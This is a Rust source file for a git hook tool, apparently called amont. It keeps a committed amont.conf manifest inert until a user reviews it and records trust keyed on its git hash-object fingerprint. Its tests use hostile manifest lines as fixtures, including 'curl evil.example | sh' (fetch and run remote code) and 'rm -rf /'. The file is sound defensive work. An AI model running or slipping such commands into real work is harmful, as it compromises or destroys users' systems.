Skip to main content

amont_runtime/
trust.rs

1//! Whether this repository's `amont.conf` may run.
2//!
3//! `amont.conf` is committed, which is the point — a team shares a check by
4//! committing it. The consequence is that cloning a repository and committing to
5//! it would otherwise run commands that repository chose, and neither of those
6//! acts is one anybody performs as a decision about trust. Reviewing a diff
7//! before running it is; nothing asked for that.
8//!
9//! So the manifest is inert until somebody says otherwise, and the record is
10//! keyed on the FILE'S CONTENT rather than its path: a `git pull` that adds a
11//! command does not inherit the consent given to the file before it.
12//!
13//! ## Why `git hash-object` and not a hash of our own
14//!
15//! `amont` links no external crates (`scripts/check-no-deps.sh`), and the
16//! only hash in `std` is `DefaultHasher` — SipHash with a fixed key, which is
17//! not collision-resistant and would let a crafted manifest match a trusted
18//! one's fingerprint. Writing SHA-256 by hand is a hundred lines nobody would
19//! review as carefully as they should.
20//!
21//! `git` is already a hard dependency of every path in this binary, and
22//! `git hash-object` is the identity git itself uses for content. It is SHA-1
23//! (or SHA-256 in a repository configured for it), which is not a strong
24//! guarantee against a determined attacker with a chosen-prefix collision — but
25//! it is enormously better than SipHash, costs no dependency, and a user can
26//! reproduce it by hand to check what they trusted:
27//!
28//! ```text
29//! $ git hash-object --no-filters amont.conf
30//! ```
31//!
32//! `--no-filters` is not decoration. Without it git applies the clean filter
33//! and eol conversion that the repository's own committed `.gitattributes`
34//! asks for — so the repository would be choosing the transform its consent is
35//! taken through, and two manifests this parser reads differently can be given
36//! the same id. Consent is bound to the bytes we PARSE.
37
38use std::path::Path;
39
40use crate::ui::valid_sign;
41
42/// Where the decision is recorded. Local, never committed — a repository must
43/// not be able to declare itself trusted.
44pub const KEY: &str = "amont.trusted";
45
46/// Content id of `path`, as git would compute it.
47///
48/// `--no-filters`, because consent is bound to CONTENT and the content that
49/// matters is the bytes we PARSE. Plain `git hash-object` applies the clean
50/// filter and eol conversion configured by the repository's own committed
51/// `.gitattributes` — so a repo that declares `amont.conf ident` (or
52/// `text eol=crlf`) chooses the transform its fingerprint is taken through,
53/// and two manifests we would parse differently can hash identically. The
54/// binding was to content-after-a-repo-controlled-transform.
55pub fn fingerprint(repo: &Path, manifest: &Path) -> Option<String> {
56    crate::git::stdout_in(repo, &["hash-object", "--no-filters", manifest.to_str()?])
57}
58
59/// The same identity, for bytes already in hand.
60///
61/// `--stdin` is never filtered, so this names exactly the buffer given to it.
62/// Used where the caller has read the file and is about to act on THAT read:
63/// hashing the path again would be a second read, and the two can differ.
64pub fn fingerprint_bytes(repo: &Path, bytes: &[u8]) -> Option<String> {
65    crate::git::stdout_piped_in(repo, &["hash-object", "--stdin"], bytes)
66}
67
68/// What the repository has recorded, if anything.
69pub fn recorded(repo: &Path) -> Option<String> {
70    crate::git::stdout_in(repo, &["config", "--local", "--get", KEY])
71}
72
73#[derive(Debug, Clone, Copy, PartialEq, Eq)]
74pub enum State {
75    /// No manifest. The overwhelmingly common case, and it must cost nothing.
76    NoManifest,
77    /// Trusted, and the file still has the bytes that were trusted.
78    Trusted,
79    /// Never trusted here.
80    Untrusted,
81    /// Trusted once, and edited since. Distinct from `Untrusted` because the
82    /// message should say which happened — "somebody changed it" is a different
83    /// thing to tell a reader than "you have not looked at this yet".
84    Changed,
85}
86
87/// Decide whether `repo`'s manifest may run.
88pub fn state(repo: &Path) -> State {
89    let manifest = repo.join(crate::manifest::MANIFEST);
90    if !manifest.is_file() {
91        return State::NoManifest;
92    }
93    let Some(current) = fingerprint(repo, &manifest) else {
94        // Cannot compute it, so cannot claim it matches.
95        return State::Untrusted;
96    };
97    verdict(repo, &current)
98}
99
100/// The same decision, about bytes the caller already holds.
101///
102/// For anyone who has read the manifest and is about to act on THAT read.
103/// Re-opening the file to decide whether the first read may run is two reads of
104/// something that can change in between, and the whole point of the record is
105/// that it names the content being executed.
106pub fn state_of(repo: &Path, source: &[u8]) -> State {
107    let Some(current) = fingerprint_bytes(repo, source) else {
108        return State::Untrusted;
109    };
110    verdict(repo, &current)
111}
112
113fn verdict(repo: &Path, current: &str) -> State {
114    match recorded(repo) {
115        Some(seen) if seen == current => State::Trusted,
116        Some(_) => State::Changed,
117        None => State::Untrusted,
118    }
119}
120
121/// Record the manifest as it stands now.
122pub fn record(repo: &Path) -> Result<String, String> {
123    let manifest = repo.join(crate::manifest::MANIFEST);
124    let fp = fingerprint(repo, &manifest)
125        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
126    record_verified(repo, &fp)?;
127    Ok(fp)
128}
129
130/// Record `fp` as trusted, but ONLY if the manifest still hashes to it.
131///
132/// The gap this closes: `describe()` prints the manifest, then — in
133/// `install::offer_trust` — `confirm()` blocks on a keypress, sometimes for
134/// several seconds, before anything is recorded. A plain re-hash at that
135/// point trusts whatever is on disk THEN, which is not necessarily what was
136/// shown; a file changed in that window would be trusted without ever having
137/// been reviewed, which is the exact thing this module exists to prevent.
138/// Callers fingerprint what they show BEFORE asking, and pass that same
139/// value here — verified again, not merely assumed, once the answer is in.
140pub fn record_verified(repo: &Path, fp: &str) -> Result<(), String> {
141    let manifest = repo.join(crate::manifest::MANIFEST);
142    let now = fingerprint(repo, &manifest)
143        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
144    if now != fp {
145        return Err(format!(
146            "{} changed since it was shown — nothing was trusted; run `amont trust` again to review it",
147            crate::manifest::MANIFEST
148        ));
149    }
150    let ok = crate::git::stdout_in(repo, &["config", "--local", KEY, fp]).is_some();
151    if !ok {
152        return Err(format!("cannot record {KEY} in this repository"));
153    }
154    Ok(())
155}
156
157/// Forget it.
158pub fn revoke(repo: &Path) -> Result<(), String> {
159    // `--unset` exits 5 when the key is absent, which is not a failure here.
160    let _ = crate::git::stdout_in(repo, &["config", "--local", "--unset", KEY]);
161    Ok(())
162}
163
164/// The reason an external does not run, phrased for the check's own report.
165pub fn why(state: State) -> Option<&'static str> {
166    match state {
167        State::NoManifest | State::Trusted => None,
168        State::Untrusted => {
169            Some("declared in an untrusted amont.conf — review it, then `amont trust`")
170        }
171        State::Changed => {
172            Some("amont.conf changed since it was trusted — review it, then `amont trust`")
173        }
174    }
175}
176
177/// Show what the manifest declares, so the decision is made with it in view.
178///
179/// Printing the lines is the whole point: "trust this file" is not a question
180/// anybody can answer without seeing it, and a prompt that does not show it is
181/// a prompt that trains people to press y.
182pub fn describe(repo: &Path) -> String {
183    describe_source(
184        &std::fs::read_to_string(repo.join(crate::manifest::MANIFEST)).unwrap_or_default(),
185    )
186}
187
188/// The same listing, rendered from text the caller already read.
189///
190/// So that what is SHOWN and what is FINGERPRINTED come from one read. Two
191/// reads of a file somebody is deciding about can disagree, and the decision
192/// would then be recorded about bytes nobody was shown.
193pub fn describe_source(text: &str) -> String {
194    use std::fmt::Write;
195    let mut out = String::new();
196    let lines = crate::manifest::parse_lines(text);
197    // Policy and tool-pin lines are rendered as their own blocks below —
198    // they are not checks, and running them through the check table printed
199    // them as `! broken`, which told the person consenting that something
200    // was WRONG with the very lines they were being asked to approve.
201    let (checks, rest): (Vec<_>, Vec<_>) = lines.into_iter().partition(|l| l.is_check());
202    for line in checks {
203        let (name, stage, parsed) = line.into_parts();
204        // Every field here is repo-controlled, and this is the text somebody
205        // is about to say yes to. Sanitised BEFORE the padding, so the column
206        // widths are computed on what is actually printed — an escape sequence
207        // is zero columns wide and would silently shift the alignment even if
208        // it did nothing worse. See `ui::sanitize` for what a concealed
209        // declaration bought.
210        let name = crate::ui::sanitize(&name);
211        match parsed {
212            Ok(declared) => {
213                let _ = writeln!(
214                    out,
215                    "      {name:<14} {:<10} {}",
216                    stage.as_str(),
217                    crate::ui::sanitize(&declared.command())
218                );
219            }
220            Err(why) => {
221                let _ = writeln!(
222                    out,
223                    "      {name:<14} {:<10} ! {}",
224                    stage.as_str(),
225                    crate::ui::sanitize(&why.to_string())
226                );
227            }
228        }
229    }
230    let pins: Vec<String> = rest
231        .iter()
232        .filter_map(|l| match l {
233            crate::manifest::Line::Tool(pin) => {
234                Some(format!("tool      {}  {}", pin.program, pin.want))
235            }
236            _ => None,
237        })
238        .collect();
239    let policy: Vec<String> = rest
240        .iter()
241        .filter_map(|l| match l {
242            crate::manifest::Line::Policy { what, .. } => Some(what.describe()),
243            _ => None,
244        })
245        .collect();
246    if !policy.is_empty() {
247        let _ = writeln!(out, "    and sets policy for built-in checks:");
248        for p in policy {
249            let _ = writeln!(out, "      {}", crate::ui::sanitize(&p));
250        }
251    }
252    if !pins.is_empty() {
253        let _ = writeln!(out, "    and pins tool versions (verified, warn-only):");
254        for p in pins {
255            let _ = writeln!(out, "      {}", crate::ui::sanitize(&p));
256        }
257    }
258    out
259}
260
261/// A yes/no on the terminal, or `false` when there is nobody to ask.
262///
263/// Reads `/dev/tty` rather than stdin: git hands a hook a pipe, and a prompt
264/// that read stdin would consume something else's input. Same reason
265/// `package-lock` does it, and the third copy of this is where it becomes a
266/// shared function.
267#[cfg(unix)]
268pub fn confirm(prompt: &str) -> bool {
269    use std::io::{BufRead, BufReader, Write};
270    let Ok(tty) = std::fs::File::open("/dev/tty") else {
271        return false;
272    };
273    print!("{prompt}");
274    let _ = std::io::stdout().flush();
275    let mut line = String::new();
276    if BufReader::new(tty).read_line(&mut line).is_err() {
277        return false;
278    }
279    matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
280}
281
282/// Windows has no `/dev/tty`; treat it as nobody to ask, which declines.
283#[cfg(not(unix))]
284pub fn confirm(_prompt: &str) -> bool {
285    false
286}
287
288/// `amont trust [--show|--revoke]`.
289pub fn command(args: &[std::ffi::OsString]) -> Result<(), String> {
290    // Refuse rather than fall back to ".". Trust is RECORDED per repository,
291    // keyed by the root this resolves to, so a "." root outside a repository
292    // meant `amont trust` in `~` would read `~/amont.conf`, show its
293    // declarations, and record trust for them — against a repository that does
294    // not exist, in a state no later `amont trust --revoke` would find.
295    let root = crate::hooks::common::repo_root_checked()?;
296    let root = Path::new(&root);
297    let flag = |f: &str| args.iter().any(|a| a == f);
298
299    if flag("--revoke") {
300        revoke(root)?;
301        println!("{} amont.conf is no longer trusted here", valid_sign());
302        return Ok(());
303    }
304
305    let state = state(root);
306    if state == State::NoManifest {
307        println!("no {} in this repository", crate::manifest::MANIFEST);
308        return Ok(());
309    }
310
311    if flag("--show") {
312        println!("{}", crate::manifest::MANIFEST);
313        print!("{}", describe(root));
314        println!(
315            "    {}",
316            match state {
317                State::Trusted => "trusted here",
318                State::Changed => "TRUSTED ONCE, AND CHANGED SINCE — not running",
319                _ => "not trusted here — not running",
320            }
321        );
322        return Ok(());
323    }
324
325    if state == State::Trusted {
326        println!("{} already trusted, unchanged", valid_sign());
327        return Ok(());
328    }
329
330    // One read: the bytes shown are the bytes fingerprinted, and
331    // `record_verified` then confirms they are still the bytes on disk. Read
332    // twice, and the listing somebody approved need not be what got recorded.
333    let manifest = root.join(crate::manifest::MANIFEST);
334    let source =
335        std::fs::read(&manifest).map_err(|e| format!("cannot read {}: {e}", manifest.display()))?;
336    let fp = fingerprint_bytes(root, &source)
337        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
338    println!("{} declares:", crate::manifest::MANIFEST);
339    print!("{}", describe_source(&String::from_utf8_lossy(&source)));
340    record_verified(root, &fp)?;
341    println!("{} trusted ({fp})", valid_sign());
342    Ok(())
343}
344
345#[cfg(test)]
346mod tests {
347    use super::*;
348
349    fn repo(name: &str) -> std::path::PathBuf {
350        let d = std::env::temp_dir().join(format!("trust-{name}-{}", std::process::id()));
351        let _ = std::fs::remove_dir_all(&d);
352        std::fs::create_dir_all(&d).unwrap();
353        std::process::Command::new("git")
354            .args(["init", "-q", "--template=", "."])
355            .current_dir(&d)
356            .output()
357            .expect("git");
358        d
359    }
360
361    fn write_manifest(dir: &Path, body: &str) {
362        std::fs::write(dir.join(crate::manifest::MANIFEST), body).unwrap();
363    }
364
365    /// Ninety-six repositories have no manifest. That must be free and silent.
366    #[test]
367    fn no_manifest_is_not_a_trust_question() {
368        let d = repo("none");
369        assert_eq!(state(&d), State::NoManifest);
370        assert_eq!(why(State::NoManifest), None);
371        let _ = std::fs::remove_dir_all(&d);
372    }
373
374    #[test]
375    fn a_manifest_starts_untrusted() {
376        let d = repo("new");
377        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
378        assert_eq!(state(&d), State::Untrusted);
379        let _ = std::fs::remove_dir_all(&d);
380    }
381
382    #[test]
383    fn recording_makes_it_trusted() {
384        let d = repo("record");
385        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
386        record(&d).expect("record");
387        assert_eq!(state(&d), State::Trusted);
388        let _ = std::fs::remove_dir_all(&d);
389    }
390
391    /// The property the whole design turns on: consent is to CONTENT, so a
392    /// `git pull` that adds a command cannot inherit it.
393    #[test]
394    fn editing_the_manifest_revokes_trust() {
395        let d = repo("edit");
396        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
397        record(&d).expect("record");
398        assert_eq!(state(&d), State::Trusted);
399
400        write_manifest(&d, "pre-commit  a  *  block  curl evil.example | sh\n");
401        assert_eq!(
402            state(&d),
403            State::Changed,
404            "a manifest edited after trusting must not still be trusted"
405        );
406        // And it says which happened, because "you have not looked at this" is
407        // a different sentence to "somebody changed it".
408        assert!(why(State::Changed).expect("reason").contains("changed"));
409        let _ = std::fs::remove_dir_all(&d);
410    }
411
412    /// The TOCTOU `record_verified` exists to close: `install::offer_trust`
413    /// fingerprints what it showed, waits on a keypress, then must not trust
414    /// whatever is on disk by the time the answer comes back if that is not
415    /// what was actually shown.
416    #[test]
417    fn record_verified_refuses_a_manifest_that_changed_since_it_was_fingerprinted() {
418        let d = repo("changed-mid-confirm");
419        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
420        let manifest = d.join(crate::manifest::MANIFEST);
421        let shown_fp = fingerprint(&d, &manifest).expect("fingerprint");
422
423        // The file is rewritten in the window a real confirm() would have
424        // been blocking on a keypress.
425        write_manifest(&d, "pre-commit  a  *  block  curl evil.example | sh\n");
426
427        let err = record_verified(&d, &shown_fp).expect_err("must refuse");
428        assert!(err.contains("changed"), "{err}");
429        assert_eq!(
430            state(&d),
431            State::Untrusted,
432            "the rewritten content must not end up trusted"
433        );
434        let _ = std::fs::remove_dir_all(&d);
435    }
436
437    /// The ordinary path still works: nothing changed, so the fingerprint
438    /// shown is the fingerprint recorded.
439    #[test]
440    fn record_verified_accepts_a_manifest_that_did_not_change() {
441        let d = repo("unchanged");
442        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
443        let manifest = d.join(crate::manifest::MANIFEST);
444        let fp = fingerprint(&d, &manifest).expect("fingerprint");
445        record_verified(&d, &fp).expect("record");
446        assert_eq!(state(&d), State::Trusted);
447        let _ = std::fs::remove_dir_all(&d);
448    }
449
450    #[test]
451    fn revoking_returns_it_to_untrusted() {
452        let d = repo("revoke");
453        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
454        record(&d).expect("record");
455        revoke(&d).expect("revoke");
456        assert_eq!(state(&d), State::Untrusted);
457        // Twice is not an error: `git config --unset` exits 5 on a missing key.
458        revoke(&d).expect("revoke again");
459        let _ = std::fs::remove_dir_all(&d);
460    }
461
462    /// Reproducible by hand, which is the point of using git's own identity.
463    #[test]
464    fn the_fingerprint_is_git_hash_object() {
465        let d = repo("fp");
466        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
467        let manifest = d.join(crate::manifest::MANIFEST);
468        let ours = fingerprint(&d, &manifest).expect("fingerprint");
469        let theirs = String::from_utf8_lossy(
470            &std::process::Command::new("git")
471                .args(["hash-object", "--no-filters", manifest.to_str().unwrap()])
472                .current_dir(&d)
473                .output()
474                .expect("git")
475                .stdout,
476        )
477        .trim()
478        .to_string();
479        assert_eq!(ours, theirs);
480        let _ = std::fs::remove_dir_all(&d);
481    }
482    /// A repository must not choose the transform its own consent is taken
483    /// through.
484    ///
485    /// `.gitattributes` is committed, so the repo picks the clean filter; plain
486    /// `git hash-object` applies it. With one that collapses everything to a
487    /// constant, two manifests this parser reads DIFFERENTLY are given the same
488    /// id — so a trusted fingerprint would cover content nobody reviewed.
489    #[test]
490    fn a_clean_filter_cannot_make_two_manifests_share_a_fingerprint() {
491        let d = repo("filter");
492        std::fs::write(d.join(".gitattributes"), "amont.conf filter=flatten\n")
493            .expect("write attributes");
494        let ok = std::process::Command::new("git")
495            .args(["config", "--local", "filter.flatten.clean", "echo same"])
496            .current_dir(&d)
497            .status()
498            .map(|s| s.success())
499            .unwrap_or(false);
500        if !ok {
501            return; // no git to configure; nothing to assert
502        }
503        let manifest = d.join(crate::manifest::MANIFEST);
504
505        write_manifest(&d, "pre-commit  a  *  block  echo one\n");
506        let filtered_a = raw_hash(&d, &manifest);
507        let ours_a = fingerprint(&d, &manifest).expect("fingerprint a");
508
509        write_manifest(&d, "pre-commit  b  *  block  rm -rf /\n");
510        let filtered_b = raw_hash(&d, &manifest);
511        let ours_b = fingerprint(&d, &manifest).expect("fingerprint b");
512
513        // The collision has to EXIST before its absence means anything. A
514        // clean filter is an external program run through git's own shell, and
515        // whether `echo` resolves that way is the platform's business, not
516        // ours — Git for Windows does not collapse these. Say so and stop,
517        // rather than report a fixture that would not build as a defect in the
518        // code under test. `an_eol_conversion_cannot_...` below covers the same
519        // property with no external program involved and runs everywhere.
520        if filtered_a != filtered_b {
521            println!(
522                "! clean filters do not apply here — collision not reproducible, \
523                 see an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint"
524            );
525            return;
526        }
527        assert_ne!(
528            ours_a, ours_b,
529            "the fingerprint followed a repo-controlled filter"
530        );
531    }
532
533    /// The same property, with git's own eol conversion instead of an external
534    /// filter — so it holds on every platform.
535    ///
536    /// `.gitattributes` is COMMITTED, so the repository chooses the conversion.
537    /// Under `text eol=lf`, git's clean step normalises CRLF to LF, and two
538    /// files differing only in line endings hash identically. That is a weaker
539    /// lever than a clean filter (the parser reads both the same way), but it
540    /// is the same mistake: the id names content-after-a-repo-controlled
541    /// transform rather than the bytes we read.
542    #[test]
543    fn an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint() {
544        let d = repo("eol");
545        std::fs::write(d.join(".gitattributes"), "amont.conf text eol=lf\n")
546            .expect("write attributes");
547        let manifest = d.join(crate::manifest::MANIFEST);
548
549        // Byte-different, line-ending-identical-after-normalisation.
550        std::fs::write(&manifest, b"pre-commit  a  *  block  echo one\r\n").expect("crlf");
551        let filtered_crlf = raw_hash(&d, &manifest);
552        let ours_crlf = fingerprint(&d, &manifest).expect("fingerprint crlf");
553
554        std::fs::write(&manifest, b"pre-commit  a  *  block  echo one\n").expect("lf");
555        let filtered_lf = raw_hash(&d, &manifest);
556        let ours_lf = fingerprint(&d, &manifest).expect("fingerprint lf");
557
558        if filtered_crlf != filtered_lf {
559            println!("! eol conversion does not apply here — collision not reproducible");
560            return;
561        }
562        assert_ne!(
563            ours_crlf, ours_lf,
564            "the fingerprint followed a repo-controlled eol conversion"
565        );
566    }
567
568    fn raw_hash(dir: &std::path::Path, manifest: &std::path::Path) -> String {
569        String::from_utf8_lossy(
570            &std::process::Command::new("git")
571                .args(["hash-object", manifest.to_str().unwrap()])
572                .current_dir(dir)
573                .output()
574                .expect("git")
575                .stdout,
576        )
577        .trim()
578        .to_string()
579    }
580}